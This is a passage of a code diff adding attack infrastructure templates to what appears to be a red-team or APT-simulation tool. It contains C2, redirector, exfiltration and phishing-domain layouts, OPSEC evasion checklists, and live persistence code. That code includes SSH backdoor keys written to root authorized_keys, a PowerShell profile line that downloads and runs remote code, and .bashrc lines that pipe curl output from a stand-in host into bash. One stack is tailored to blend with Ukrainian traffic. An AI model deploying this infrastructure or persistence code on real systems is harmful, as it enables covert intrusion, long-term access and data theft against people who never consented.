|
|
492
|
+
mkdir -p ~/.ssh
|
|
493
|
+
echo 'ssh-rsa AAAAB3NzaC1yc2EAAA... operator@redteam' >> ~/.ssh/authorized_keys
|
|
494
|
+
chmod 600 ~/.ssh/authorized_keys
|
|
495
|
+
|
|
496
|
+
# Root backdoor (if root access)
|
|
497
|
+
echo 'ssh-rsa AAAAB3NzaC1yc2EAAA... operator@redteam' >> /root/.ssh/authorized_keys
|
|
498
|
+
`,
|
|
499
|
+
artifacts: [
|
|
500
|
+
'~/.ssh/authorized_keys',
|
|
501
|
+
'/root/.ssh/authorized_keys',
|
|
502
|
+
],
|
|
503
|
+
detectionIndicators: [
|
|
504
|
+
'New SSH key in authorized_keys',
|
|
505
|
+
'SSH login from unusual source',
|
|
506
|
+
'Key fingerprint not in approved list',
|
|
507
|
+
],
|
|
508
|
+
removalProcedure: [
|
|
509
|
+
'Remove specific key from authorized_keys',
|
|
510
|
+
'Regenerate SSH host keys if compromised',
|
|
511
|
+
],
|
|
512
|
+
mitreTechnique: 'T1098.004',
|
|
513
|
+
},
|
|
514
|
+
],
|
|
515
|
+
network: {
|
|
516
|
+
segments: [
|
|
517
|
+
{
|
|
518
|
+
id: 'mgmt',
|
|
519
|
+
name: 'Management Segment',
|
|
520
|
+
cidr: '10.0.0.0/24',
|
|
521
|
+
purpose: 'management',
|
|
522
|
+
isolation: 'air-gapped',
|
|
523
|
+
},
|
|
524
|
+
{
|
|
525
|
+
id: 'c2',
|
|
526
|
+
name: 'C2 Segment',
|
|
527
|
+
cidr: '10.0.1.0/24',
|
|
528
|
+
purpose: 'c2',
|
|
529
|
+
isolation: 'restricted',
|
|
530
|
+
},
|
|
531
|
+
{
|
|
532
|
+
id: 'redir',
|
|
533
|
+
name: 'Redirector Segment',
|
|
534
|
+
cidr: '10.0.2.0/24',
|
|
535
|
+
purpose: 'redirector',
|
|
536
|
+
isolation: 'controlled',
|
|
537
|
+
},
|
|
538
|
+
{
|
|
539
|
+
id: 'exfil',
|
|
540
|
+
name: 'Exfiltration Segment',
|
|
541
|
+
cidr: '10.0.3.0/24',
|
|
542
|
+
purpose: 'exfil',
|
|
543
|
+
isolation: 'restricted',
|
|
544
|
+
},
|
|
545
|
+
],
|
|
546
|
+
routes: [
|
|
547
|
+
{ source: 'mgmt', destination: '*', via: 'vpn', protocol: 'any' },
|
|
548
|
+
{ source: 'redir', destination: 'c2', via: 'internal', protocol: 'tcp', ports: [443, 53] },
|
|
549
|
+
{ source: 'c2', destination: 'exfil', via: 'internal', protocol: 'tcp', ports: [443] },
|
|
550
|
+
],
|
|
551
|
+
firewallRules: [
|
|
552
|
+
{ id: 'fw-1', action: 'allow', source: 'mgmt', destination: '*', protocol: 'any', ports: '*', description: 'Management access' },
|
|
553
|
+
{ id: 'fw-2', action: 'allow', source: 'redir', destination: 'c2', protocol: 'tcp', ports: '443,53', description: 'Redirector to C2' },
|
|
554
|
+
{ id: 'fw-3', action: 'deny', source: '*', destination: 'c2', protocol: 'any', ports: '*', description: 'Block direct C2 access' },
|
|
555
|
+
],
|
|
556
|
+
dnsConfig: {
|
|
557
|
+
domains: [
|
|
558
|
+
{ domain: 'cdn-updates.com', registrar: 'Namecheap', purpose: 'C2', categorization: 'CDN/Technology', ageMonths: 12 },
|
|
559
|
+
{ domain: 'secure-login.net', registrar: 'GoDaddy', purpose: 'Phishing', categorization: 'Business', ageMonths: 8 },
|
|
560
|
+
{ domain: 'analytics-tracker.io', registrar: 'Cloudflare', purpose: 'Exfil', categorization: 'Analytics', ageMonths: 6 },
|
|
561
|
+
],
|
|
562
|
+
records: [
|
|
563
|
+
{ type: 'A', name: 'www.cdn-updates.com', value: 'REDIRECTOR_IP', ttl: 300 },
|
|
564
|
+
{ type: 'A', name: 'api.cdn-updates.com', value: 'REDIRECTOR_IP', ttl: 300 },
|
|
565
|
+
{ type: 'A', name: 'cdn-updates.com', value: 'CLOUDFRONT_IP', ttl: 300 },
|
|
566
|
+
],
|
|
567
|
+
providers: ['Route53', 'Cloudflare'],
|
|
568
|
+
},
|
|
569
|
+
},
|
|
570
|
+
deploymentProcedure: [
|
|
571
|
+
{
|
|
572
|
+
order: 1,
|
|
573
|
+
phase: 'preparation',
|
|
574
|
+
action: 'Acquire domains and let them age',
|
|
575
|
+
commands: ['# Register domains via proxy registrar', '# Set up basic parking page', '# Monitor categorization'],
|
|
576
|
+
verification: 'Domains categorized as legitimate',
|
|
577
|
+
rollback: 'N/A - long lead time item',
|
|
578
|
+
timeEstimate: '2-4 weeks',
|
|
579
|
+
},
|
|
580
|
+
{
|
|
581
|
+
order: 2,
|
|
582
|
+
phase: 'preparation',
|
|
583
|
+
action: 'Provision VPS infrastructure',
|
|
584
|
+
commands: [
|
|
585
|
+
'terraform init',
|
|
586
|
+
'terraform plan -var-file=us-stack.tfvars',
|
|
587
|
+
'terraform apply -auto-approve',
|
|
588
|
+
],
|
|
589
|
+
verification: 'All instances accessible via management VPN',
|
|
590
|
+
rollback: 'terraform destroy',
|
|
591
|
+
timeEstimate: '1 hour',
|
|
592
|
+
},
|
|
593
|
+
{
|
|
594
|
+
order: 3,
|
|
595
|
+
phase: 'configuration',
|
|
596
|
+
action: 'Deploy and configure C2 servers',
|
|
597
|
+
commands: [
|
|
598
|
+
'ansible-playbook -i inventory c2-setup.yml',
|
|
599
|
+
'./deploy-teamserver.sh',
|
|
600
|
+
'./configure-malleable.sh',
|
|
601
|
+
],
|
|
602
|
+
verification: 'Teamserver accessible, test beacon connects',
|
|
603
|
+
rollback: 'ansible-playbook -i inventory c2-teardown.yml',
|
|
604
|
+
timeEstimate: '2 hours',
|
|
605
|
+
},
|
|
606
|
+
{
|
|
607
|
+
order: 4,
|
|
608
|
+
phase: 'configuration',
|
|
609
|
+
action: 'Deploy redirectors',
|
|
610
|
+
commands: [
|
|
611
|
+
'ansible-playbook -i inventory redirectors.yml',
|
|
612
|
+
'./test-redirector-chain.sh',
|
|
613
|
+
],
|
|
614
|
+
verification: 'Traffic flows through redirector chain to C2',
|
|
615
|
+
rollback: 'Destroy redirector instances',
|
|
616
|
+
timeEstimate: '1 hour',
|
|
617
|
+
},
|
|
618
|
+
{
|
|
619
|
+
order: 5,
|
|
620
|
+
phase: 'testing',
|
|
621
|
+
action: 'Full integration test',
|
|
622
|
+
commands: [
|
|
623
|
+
'./integration-test.sh',
|
|
624
|
+
'./beacon-test.sh',
|
|
625
|
+
'./exfil-test.sh',
|
|
626
|
+
],
|
|
627
|
+
verification: 'All components functional, beacon stable',
|
|
628
|
+
rollback: 'Review logs, fix issues',
|
|
629
|
+
timeEstimate: '2 hours',
|
|
630
|
+
},
|
|
631
|
+
{
|
|
632
|
+
order: 6,
|
|
633
|
+
phase: 'activation',
|
|
634
|
+
action: 'Activate for operations',
|
|
635
|
+
commands: [
|
|
636
|
+
'./enable-monitoring.sh',
|
|
637
|
+
'./activate-production.sh',
|
|
638
|
+
],
|
|
639
|
+
verification: 'Monitoring dashboards active, alerts configured',
|
|
640
|
+
rollback: 'Disable and investigate',
|
|
641
|
+
timeEstimate: '30 minutes',
|
|
642
|
+
},
|
|
643
|
+
],
|
|
644
|
+
opsecChecklist: [
|
|
645
|
+
{
|
|
646
|
+
category: 'network',
|
|
647
|
+
requirement: 'Never access infrastructure from personal IPs',
|
|
648
|
+
implementation: 'Use VPN + proxy chain + Tor for all access',
|
|
649
|
+
verification: 'Check connection logs for personal IP leaks',
|
|
650
|
+
priority: 'critical',
|
|
651
|
+
},
|
|
652
|
+
{
|
|
653
|
+
category: 'network',
|
|
654
|
+
requirement: 'Domain fronting for C2 traffic',
|
|
655
|
+
implementation: 'Configure CloudFront/Fastly fronting',
|
|
656
|
+
verification: 'Wireshark capture shows CDN IP only',
|
|
657
|
+
priority: 'critical',
|
|
658
|
+
},
|
|
659
|
+
{
|
|
660
|
+
category: 'host',
|
|
661
|
+
requirement: 'No persistent state on operator machines',
|
|
662
|
+
implementation: 'Use Tails OS or encrypted ephemeral VMs',
|
|
663
|
+
verification: 'Machine wipe after each session',
|
|
664
|
+
priority: 'high',
|
|
665
|
+
},
|
|
666
|
+
{
|
|
667
|
+
category: 'identity',
|
|
668
|
+
requirement: 'Separate personas for each operation',
|
|
669
|
+
implementation: 'Dedicated accounts, payment methods, identities',
|
|
670
|
+
verification: 'No cross-contamination between ops',
|
|
671
|
+
priority: 'critical',
|
|
672
|
+
},
|
|
673
|
+
{
|
|
674
|
+
category: 'communication',
|
|
675
|
+
requirement: 'Encrypted communications only',
|
|
676
|
+
implementation: 'Signal, encrypted email, no plaintext',
|
|
677
|
+
verification: 'Regular comms audit',
|
|
678
|
+
priority: 'high',
|
|
679
|
+
},
|
|
680
|
+
],
|
|
681
|
+
teardownProcedure: [
|
|
682
|
+
{
|
|
683
|
+
order: 1,
|
|
684
|
+
action: 'Graceful beacon disconnect',
|
|
685
|
+
commands: ['./disconnect-all-beacons.sh'],
|
|
686
|
+
verification: 'All beacons disconnected cleanly',
|
|
687
|
+
dataHandling: 'archive',
|
|
688
|
+
},
|
|
689
|
+
{
|
|
690
|
+
order: 2,
|
|
691
|
+
action: 'Export and secure operational data',
|
|
692
|
+
commands: ['./export-ops-data.sh', './encrypt-archive.sh'],
|
|
693
|
+
verification: 'Data encrypted and transferred',
|
|
694
|
+
dataHandling: 'transfer',
|
|
695
|
+
},
|
|
696
|
+
{
|
|
697
|
+
order: 3,
|
|
698
|
+
action: 'Secure wipe all infrastructure',
|
|
699
|
+
commands: [
|
|
700
|
+
'ansible-playbook -i inventory secure-wipe.yml',
|
|
701
|
+
'terraform destroy -auto-approve',
|
|
702
|
+
],
|
|
703
|
+
verification: 'All instances terminated',
|
|
704
|
+
dataHandling: 'wipe',
|
|
705
|
+
},
|
|
706
|
+
{
|
|
707
|
+
order: 4,
|
|
708
|
+
action: 'DNS cleanup',
|
|
709
|
+
commands: ['./remove-dns-records.sh'],
|
|
710
|
+
verification: 'DNS records removed, domains parked',
|
|
711
|
+
dataHandling: 'archive',
|
|
712
|
+
},
|
|
713
|
+
{
|
|
714
|
+
order: 5,
|
|
715
|
+
action: 'Document IOCs for deconfliction',
|
|
716
|
+
commands: ['./generate-ioc-report.sh'],
|
|
717
|
+
verification: 'IOC report generated and secured',
|
|
718
|
+
dataHandling: 'archive',
|
|
719
|
+
},
|
|
720
|
+
],
|
|
721
|
+
costEstimate: {
|
|
722
|
+
infrastructure: 500,
|
|
723
|
+
domains: 100,
|
|
724
|
+
monthly: 350,
|
|
725
|
+
setup: 200,
|
|
726
|
+
currency: 'USD',
|
|
727
|
+
},
|
|
728
|
+
};
|
|
729
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
730
|
+
// UKRAINE INFRASTRUCTURE STACK
|
|
731
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
732
|
+
export const UKRAINE_INFRASTRUCTURE_STACK = {
|
|
733
|
+
id: 'ua-full-stack-001',
|
|
734
|
+
name: 'Ukraine Operations Infrastructure',
|
|
735
|
+
region: 'ukraine',
|
|
736
|
+
classification: 'apt-simulation',
|
|
737
|
+
components: [
|
|
738
|
+
// C2 Server Ukraine
|
|
739
|
+
{
|
|
740
|
+
id: 'ua-c2-primary',
|
|
741
|
+
name: 'Primary C2 Server (Kyiv)',
|
|
742
|
+
type: 'c2-server',
|
|
743
|
+
provider: 'Ukrainian VPS Provider / Hetzner DE',
|
|
744
|
+
configuration: {
|
|
745
|
+
os: 'Debian 12',
|
|
746
|
+
specs: '4 vCPU, 8GB RAM, 100GB NVMe',
|
|
747
|
+
framework: 'Sliver / Havoc / Custom',
|
|
748
|
+
protocols: ['HTTPS (443)', 'DNS (53)', 'WireGuard'],
|
|
749
|
+
profile: 'Ukrainian business traffic mimicry',
|
|
750
|
+
language: 'Ukrainian language in malleable profile',
|
|
751
|
+
},
|
|
752
|
+
opsecConsiderations: [
|
|
753
|
+
'Use Ukrainian IP space or nearby EU',
|
|
754
|
+
'Mimic Ukrainian business patterns',
|
|
755
|
+
'Account for network instability',
|
|
756
|
+
'Multiple fallback channels',
|
|
757
|
+
'Satellite comms backup (Starlink)',
|
|
758
|
+
'Power outage resilience (UPS)',
|
|
759
|
+
],
|
|
760
|
+
setupProcedure: [
|
|
761
|
+
'Provision from Ukrainian-friendly provider',
|
|
762
|
+
'Configure redundant connectivity',
|
|
763
|
+
'Deploy C2 with Ukrainian profile',
|
|
764
|
+
'Set up satellite backup channel',
|
|
765
|
+
'Test under degraded network conditions',
|
|
766
|
+
],
|
|
767
|
+
teardownProcedure: [
|
|
768
|
+
'Secure data transfer to safe location',
|
|
769
|
+
'Cryptographic wipe',
|
|
770
|
+
'Instance termination',
|
|
771
|
+
],
|
|
772
|
+
monitoring: [
|
|
773
|
+
'Network stability',
|
|
774
|
+
'Backup channel availability',
|
|
775
|
+
'Power status (if physical)',
|
|
776
|
+
],
|
|
777
|
+
},
|
|
778
|
+
// Redirectors Ukraine
|
|
779
|
+
{
|
|
780
|
+
id: 'ua-redir-1',
|
|
781
|
+
name: 'Redirector Poland',
|
|
782
|
+
type: 'redirector',
|
|
783
|
+
provider: 'OVH Poland',
|
|
784
|
+
configuration: {
|
|
785
|
+
os: 'Alpine Linux',
|
|
786
|
+
specs: '1 vCPU, 1GB RAM',
|
|
787
|
+
software: 'Nginx',
|
|
788
|
+
purpose: 'EU entry point for UA traffic',
|
|
789
|
+
},
|
|
790
|
+
opsecConsiderations: [
|
|
791
|
+
'Geographic proximity to Ukraine',
|
|
792
|
+
'Stable EU infrastructure',
|
|
793
|
+
'Low latency to Kyiv',
|
|
794
|
+
],
|
|
795
|
+
setupProcedure: ['Deploy and configure'],
|
|
796
|
+
teardownProcedure: ['Destroy'],
|
|
797
|
+
monitoring: ['Latency', 'Availability'],
|
|
798
|
+
},
|
|
799
|
+
{
|
|
800
|
+
id: 'ua-redir-2',
|
|
801
|
+
name: 'Redirector Moldova',
|
|
802
|
+
type: 'redirector',
|
|
803
|
+
provider: 'Local Moldova provider',
|
|
804
|
+
configuration: {
|
|
805
|
+
os: 'Alpine Linux',
|
|
806
|
+
specs: '1 vCPU, 512MB RAM',
|
|
807
|
+
software: 'Caddy',
|
|
808
|
+
purpose: 'Alternative entry point',
|
|
809
|
+
},
|
|
810
|
+
opsecConsiderations: [
|
|
811
|
+
'Diverse geographic path',
|
|
812
|
+
'Different network provider',
|
|
813
|
+
],
|
|
814
|
+
setupProcedure: ['Deploy and configure'],
|
|
815
|
+
teardownProcedure: ['Destroy'],
|
|
816
|
+
monitoring: ['Uptime'],
|
|
817
|
+
},
|
|
818
|
+
// Exfil Endpoint
|
|
819
|
+
{
|
|
820
|
+
id: 'ua-exfil-1',
|
|
821
|
+
name: 'Exfiltration Endpoint (Romania)',
|
|
822
|
+
type: 'exfil-endpoint',
|
|
823
|
+
provider: 'Hetzner / M247',
|
|
824
|
+
configuration: {
|
|
825
|
+
os: 'FreeBSD',
|
|
826
|
+
specs: '2 vCPU, 4GB RAM, 500GB storage',
|
|
827
|
+
protocols: ['HTTPS', 'DNS', 'ICMP'],
|
|
828
|
+
encryption: 'ChaCha20-Poly1305',
|
|
829
|
+
storage: 'Encrypted ZFS',
|
|
830
|
+
},
|
|
831
|
+
opsecConsiderations: [
|
|
832
|
+
'EU jurisdiction',
|
|
833
|
+
'GDPR considerations',
|
|
834
|
+
'Encrypted at rest and in transit',
|
|
835
|
+
'No logging policy',
|
|
836
|
+
],
|
|
837
|
+
setupProcedure: [
|
|
838
|
+
'Deploy in Romania (EU, close to UA)',
|
|
839
|
+
'Configure encrypted storage',
|
|
840
|
+
'Set up receive endpoints',
|
|
841
|
+
'Test all protocols',
|
|
842
|
+
],
|
|
843
|
+
teardownProcedure: [
|
|
844
|
+
'Transfer data securely',
|
|
845
|
+
'Cryptographic wipe',
|
|
846
|
+
'Destroy instance',
|
|
847
|
+
],
|
|
848
|
+
monitoring: [
|
|
849
|
+
'Data volume',
|
|
850
|
+
'Storage capacity',
|
|
851
|
+
'Network health',
|
|
852
|
+
],
|
|
853
|
+
},
|
|
854
|
+
// Satellite Backup
|
|
855
|
+
{
|
|
856
|
+
id: 'ua-sat-backup',
|
|
857
|
+
name: 'Satellite Backup Channel',
|
|
858
|
+
type: 'proxy',
|
|
859
|
+
provider: 'Starlink / Iridium',
|
|
860
|
+
configuration: {
|
|
861
|
+
type: 'Satellite internet',
|
|
862
|
+
protocol: 'HTTPS tunneled',
|
|
863
|
+
purpose: 'Resilience against terrestrial disruption',
|
|
864
|
+
bandwidth: 'Limited - text/small files only',
|
|
865
|
+
},
|
|
866
|
+
opsecConsiderations: [
|
|
867
|
+
'Terminal location security',
|
|
868
|
+
'RF signature management',
|
|
869
|
+
'Use for emergency only',
|
|
870
|
+
],
|
|
871
|
+
setupProcedure: [
|
|
872
|
+
'Deploy Starlink terminal',
|
|
873
|
+
'Configure VPN tunnel',
|
|
874
|
+
'Test failover',
|
|
875
|
+
],
|
|
876
|
+
teardownProcedure: [
|
|
877
|
+
'Relocate terminal',
|
|
878
|
+
'Wipe configuration',
|
|
879
|
+
],
|
|
880
|
+
monitoring: [
|
|
881
|
+
'Link availability',
|
|
882
|
+
'Latency',
|
|
883
|
+
],
|
|
884
|
+
},
|
|
885
|
+
],
|
|
886
|
+
persistence: [
|
|
887
|
+
{
|
|
888
|
+
id: 'ua-pers-1',
|
|
889
|
+
name: 'PowerShell Profile Persistence',
|
|
890
|
+
category: 'startup',
|
|
891
|
+
platform: 'windows',
|
|
892
|
+
stealthRating: 0.6,
|
|
893
|
+
detectionDifficulty: 'medium',
|
|
894
|
+
prerequisites: ['User access'],
|
|
895
|
+
implementation: `
|
|
896
|
+
# PowerShell profile persistence (executes on PS launch)
|
|
897
|
+
$profilePath = $PROFILE.CurrentUserAllHosts
|
|
898
|
+
$payload = 'IEX((New-Object Net.WebClient).DownloadString("https://ua-cdn.example.com/ps.txt"))'
|
|
899
|
+
Add-Content -Path $profilePath -Value $payload
|
|
900
|
+
`,
|
|
901
|
+
artifacts: [
|
|
902
|
+
'$env:USERPROFILE\\Documents\\WindowsPowerShell\\profile.ps1',
|
|
903
|
+
],
|
|
904
|
+
detectionIndicators: [
|
|
905
|
+
'PowerShell profile modification',
|
|
906
|
+
'Network connection on PS launch',
|
|
907
|
+
],
|
|
908
|
+
removalProcedure: [
|
|
909
|
+
'Remove malicious content from profile.ps1',
|
|
910
|
+
],
|
|
911
|
+
mitreTechnique: 'T1546.013',
|
|
912
|
+
},
|
|
913
|
+
{
|
|
914
|
+
id: 'ua-pers-2',
|
|
915
|
+
name: 'Linux .bashrc Persistence',
|
|
916
|
+
category: 'startup',
|
|
917
|
+
platform: 'linux',
|
|
918
|
+
stealthRating: 0.5,
|
|
919
|
+
detectionDifficulty: 'easy',
|
|
920
|
+
prerequisites: ['User access'],
|
|
921
|
+
implementation: `
|
|
922
|
+
# Add to .bashrc (executes on bash login)
|
|
923
|
+
echo 'curl -s https://ua-cdn.example.com/update.sh | bash &>/dev/null &' >> ~/.bashrc
|
|
924
|
+
|
|
925
|
+
# More stealthy version
|
|
926
|
+
echo '(sleep 60 && curl -s https://ua-cdn.example.com/u | bash) &>/dev/null &' >> ~/.profile
|
|
927
|
+
`,
|
|
928
|
+
artifacts: [
|
|
929
|
+
'~/.bashrc',
|
|
930
|
+
'~/.profile',
|
|
931
|
+
'~/.bash_profile',
|
|
932
|
+
],
|
|
933
|
+
detectionIndicators: [
|
|
934
|
+
'Unusual content in shell profiles',
|
|
935
|
+
'Network connection on login',
|
|
936
|
+
],
|
|
937
|
+
removalProcedure: [
|
|
938
|
+
'Edit and remove malicious lines from profile files',
|
|
939
|
+
],
|
|
940
|
+
mitreTechnique: 'T1546.004',
|
|
941
|
+
},
|
|
942
|
+
{
|
|
943
|
+
id: 'ua-pers-3',
|
|
944
|
+
name: 'Udev Rules Persistence',
|
|
945
|
+
category: 'startup',
|
|
946
|
+
platform: 'linux',
|
|
947
|
+
stealthRating: 0.7,
|
|
948
|
+
detectionDifficulty: 'hard',
|
|
949
|
+
prerequisites: ['Root access'],
|
|
950
|
+
implementation: `
|
|
951
|
+
# Trigger on USB insertion
|
|
952
|
+
cat > /etc/udev/rules.d/99-update.rules << 'EOF'
|
|
953
|
+
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/local/bin/usb-handler.sh"
|
|
954
|
+
EOF
|
|
955
|
+
|
|
956
|
+
# Trigger on network interface up
|
|
957
|
+
cat > /etc/udev/rules.d/99-network.rules << 'EOF'
|
|
958
|
+
ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/local/bin/net-handler.sh"
|
|
959
|
+
EOF
|
|
960
|
+
|
|
961
|
+
udevadm control --reload-rules
|
|
962
|
+
`,
|
|
963
|
+
artifacts: [
|
|
964
|
+
'/etc/udev/rules.d/99-update.rules',
|
|
965
|
+
'/etc/udev/rules.d/99-network.rules',
|
|
966
|
+
],
|
|
967
|
+
detectionIndicators: [
|
|
968
|
+
'Custom udev rules',
|
|
969
|
+
'Execution triggered by hardware events',
|
|
970
|
+
],
|
|
971
|
+
removalProcedure: [
|
|
972
|
+
'rm /etc/udev/rules.d/99-*.rules',
|
|
973
|
+
'udevadm control --reload-rules',
|
|
974
|
+
],
|
|
975
|
+
mitreTechnique: 'T1037.004',
|
|
976
|
+
},
|
|
977
|
+
],
|
|
978
|
+
network: {
|
|
979
|
+
segments: [
|
|
980
|
+
{
|
|
981
|
+
id: 'ua-mgmt',
|
|
982
|
+
name: 'Management (EU-based)',
|
|
983
|
+
cidr: '10.10.0.0/24',
|
|
984
|
+
purpose: 'management',
|
|
985
|
+
isolation: 'air-gapped',
|
|
986
|
+
},
|
|
987
|
+
{
|
|
988
|
+
id: 'ua-c2',
|
|
989
|
+
name: 'C2 Segment',
|
|
990
|
+
cidr: '10.10.1.0/24',
|
|
991
|
+
purpose: 'c2',
|
|
992
|
+
isolation: 'restricted',
|
|
993
|
+
},
|
|
994
|
+
{
|
|
995
|
+
id: 'ua-redir',
|
|
996
|
+
name: 'Redirector Segment',
|
|
997
|
+
cidr: '10.10.2.0/24',
|
|
998
|
+
purpose: 'redirector',
|
|
999
|
+
isolation: 'controlled',
|
|
1000
|
+
},
|
|
1001
|
+
],
|
|
1002
|
+
routes: [
|
|
1003
|
+
{ source: 'ua-mgmt', destination: '*', via: 'wireguard', protocol: 'any' },
|
|
1004
|
+
{ source: 'ua-redir', destination: 'ua-c2', via: 'internal', protocol: 'tcp', ports: [443] },
|
|
1005
|
+
],
|
|
1006
|
+
firewallRules: [
|
|
1007
|
+
{ id: 'ua-fw-1', action: 'allow', source: 'ua-mgmt', destination: '*', protocol: 'any', ports: '*', description: 'Management' },
|
|
1008
|
+
{ id: 'ua-fw-2', action: 'allow', source: '0.0.0.0/0', destination: 'ua-redir', protocol: 'tcp', ports: '443', description: 'Public HTTPS' },
|
|
1009
|
+
],
|
|
1010
|
+
dnsConfig: {
|
|
1011
|
+
domains: [
|
|
1012
|
+
{ domain: 'ua-business-services.com', registrar: 'Cloudflare', purpose: 'C2', categorization: 'Business Services', ageMonths: 6 },
|
|
1013
|
+
{ domain: 'kyiv-analytics.io', registrar: 'Namecheap', purpose: 'Exfil', categorization: 'Analytics', ageMonths: 4 },
|
|
1014
|
+
],
|
|
1015
|
+
records: [
|
|
1016
|
+
{ type: 'A', name: 'api.ua-business-services.com', value: 'REDIRECTOR_IP', ttl: 300 },
|
|
1017
|
+
{ type: 'CNAME', name: 'cdn.ua-business-services.com', value: 'cloudflare-cdn.net', ttl: 300 },
|
|
1018
|
+
],
|
|
1019
|
+
providers: ['Cloudflare'],
|
|
1020
|
+
},
|
|
1021
|
+
},
|
|
1022
|
+
deploymentProcedure: [
|
|
1023
|
+
{
|
|
1024
|
+
order: 1,
|
|
1025
|
+
phase: 'preparation',
|
|
1026
|
+
action: 'Assess network stability in region',
|
|
1027
|
+
commands: ['./network-assessment.sh', './power-stability-check.sh'],
|
|
1028
|
+
verification: 'Network paths identified, backup routes planned',
|
|
1029
|
+
rollback: 'Adjust deployment region',
|
|
1030
|
+
timeEstimate: '1 day',
|
|
1031
|
+
},
|
|
1032
|
+
{
|
|
1033
|
+
order: 2,
|
|
1034
|
+
phase: 'provisioning',
|
|
1035
|
+
action: 'Deploy infrastructure',
|
|
1036
|
+
commands: ['terraform apply -var-file=ukraine.tfvars'],
|
|
1037
|
+
verification: 'All instances accessible',
|
|
1038
|
+
rollback: 'terraform destroy',
|
|
1039
|
+
timeEstimate: '2 hours',
|
|
1040
|
+
},
|
|
1041
|
+
{
|
|
1042
|
+
order: 3,
|
|
1043
|
+
phase: 'configuration',
|
|
1044
|
+
action: 'Configure C2 and redirectors',
|
|
1045
|
+
commands: ['ansible-playbook ukraine-deploy.yml'],
|
|
1046
|
+
verification: 'End-to-end connectivity test passes',
|
|
1047
|
+
rollback: 'Revert configuration',
|
|
1048
|
+
timeEstimate: '3 hours',
|
|
1049
|
+
},
|
|
1050
|
+
{
|
|
1051
|
+
order: 4,
|
|
1052
|
+
phase: 'testing',
|
|
1053
|
+
action: 'Test under degraded conditions',
|
|
1054
|
+
commands: ['./degraded-network-test.sh', './failover-test.sh'],
|
|
1055
|
+
verification: 'System resilient to network issues',
|
|
1056
|
+
rollback: 'Enhance redundancy',
|
|
1057
|
+
timeEstimate: '2 hours',
|
|
1058
|
+
},
|
|
1059
|
+
{
|
|
1060
|
+
order: 5,
|
|
1061
|
+
phase: 'activation',
|
|
1062
|
+
action: 'Activate with satellite backup',
|
|
1063
|
+
commands: ['./activate-primary.sh', './activate-sat-backup.sh'],
|
|
1064
|
+
verification: 'Primary and backup channels operational',
|
|
1065
|
+
rollback: 'Use backup only mode',
|
|
1066
|
+
timeEstimate: '1 hour',
|
|
1067
|
+
},
|
|
1068
|
+
],
|
|
1069
|
+
opsecChecklist: [
|
|
1070
|
+
{
|
|
1071
|
+
category: 'network',
|
|
1072
|
+
requirement: 'Account for network instability',
|
|
1073
|
+
implementation: 'Multiple redundant paths, satellite backup',
|
|
1074
|
+
verification: 'Regular failover testing',
|
|
1075
|
+
priority: 'critical',
|
|
1076
|
+
},
|
|
1077
|
+
{
|
|
1078
|
+
category: 'network',
|
|
1079
|
+
requirement: 'Traffic should blend with local patterns',
|
|
1080
|
+
implementation: 'Ukrainian language, local business hours, local domains',
|
|
1081
|
+
verification: 'Traffic analysis shows realistic patterns',
|
|
1082
|
+
priority: 'high',
|
|
1083
|
+
},
|
|
1084
|
+
{
|
|
1085
|
+
category: 'physical',
|
|
1086
|
+
requirement: 'Power resilience for any physical assets',
|
|
1087
|
+
implementation: 'UPS, generator backup',
|
|
1088
|
+
verification: 'Tested failover on power loss',
|
|
1089
|
+
priority: 'high',
|
|
1090
|
+
},
|
|
1091
|
+
{
|
|
1092
|
+
category: 'communication',
|
|
1093
|
+
requirement: 'Secure backup comms',
|
|
1094
|
+
implementation: 'Satellite phone, encrypted radio',
|
|
1095
|
+
verification: 'Regular comms check',
|
|
1096
|
+
priority: 'critical',
|
|
1097
|
+
},
|
|
1098
|
+
],
|
|
1099
|
+
teardownProcedure: [
|
|
1100
|
+
{
|
|
1101
|
+
order: 1,
|
|
1102
|
+
action: 'Secure data extraction',
|
|
1103
|
+
commands: ['./secure-extract.sh'],
|
|
1104
|
+
verification: 'All data transferred via encrypted channel',
|
|
1105
|
+
dataHandling: 'transfer',
|
|
1106
|
+
},
|
|
1107
|
+
{
|
|
1108
|
+
order: 2,
|
|
1109
|
+
action: 'Cryptographic wipe',
|
|
1110
|
+
commands: ['./secure-wipe-all.sh'],
|
|
1111
|
+
verification: 'Wipe verification complete',
|
|
1112
|
+
dataHandling: 'wipe',
|
|
1113
|
+
},
|
|
1114
|
+
{
|
|
1115
|
+
order: 3,
|
|
1116
|
+
action: 'Destroy infrastructure',
|
|
1117
|
+
commands: ['terraform destroy -auto-approve'],
|
|
1118
|
+
verification: 'All resources terminated',
|
|
1119
|
+
dataHandling: 'wipe',
|
|
1120
|
+
},
|
|
1121
|
+
],
|
|
1122
|
+
costEstimate: {
|
|
1123
|
+
infrastructure: 400,
|
|
1124
|
+
domains: 80,
|
|
1125
|
+
monthly: 280,
|
|
1126
|
+
setup: 150,
|
|
1127
|
+
currency: 'USD',
|
|
1128
|
+
},
|
|
1129
|
+
};
|
|
1130
|
+
export const AUTO_EXECUTION_TEMPLATES = [
|
|
1131
|
+
{
|
|
1132
|
+
id: 'us-full-pentest',
|
|
1133
|
+
name: 'US Full Penetration Test',
|
|
1134
|
+
description: 'Complete penetration test using US infrastructure',
|
|
1135
|
+
region: 'us',
|
|
1136
|
+
objectives: [
|
|
1137
|
+
'Reconnaissance and enumeration',
|
|
1138
|
+
'Initial access via phishing or exploit',
|
|
1139
|
+
'Privilege escalation',
|
|
1140
|
+
'Lateral movement',
|
|
1141
|
+
'Data exfiltration demonstration',
|
|
1142
|
+
],
|
|
1143
|
+
techniques: [
|
|
1144
|
+
'dns_enum', 'subdomain_enum', 'port_scan', 'service_enum',
|
|
1145
|
+
'web_fingerprint', 'vuln_scan', 'dir_enum',
|
|
1146
|
+
'exploit_attempt', 'privesc', 'lateral_move', 'persistence',
|
|
1147
|
+
],
|
|
1148
|
+
deliverableType: 'pentest-report',
|
|
1149
|
+
estimatedDuration: '4-8 hours',
|
|
1150
|
+
executionSteps: [
|
|
1151
|
+
'Deploy US infrastructure stack',
|
|
1152
|
+
'Execute reconnaissance phase',
|
|
1153
|
+
'Identify and exploit vulnerabilities',
|
|
1154
|
+
'Establish persistence',
|
|
1155
|
+
'Demonstrate lateral movement',
|
|
1156
|
+
'Document all findings',
|
|
1157
|
+
'Generate penetration test report',
|
|
1158
|
+
],
|
|
1159
|
+
},
|
|
1160
|
+
{
|
|
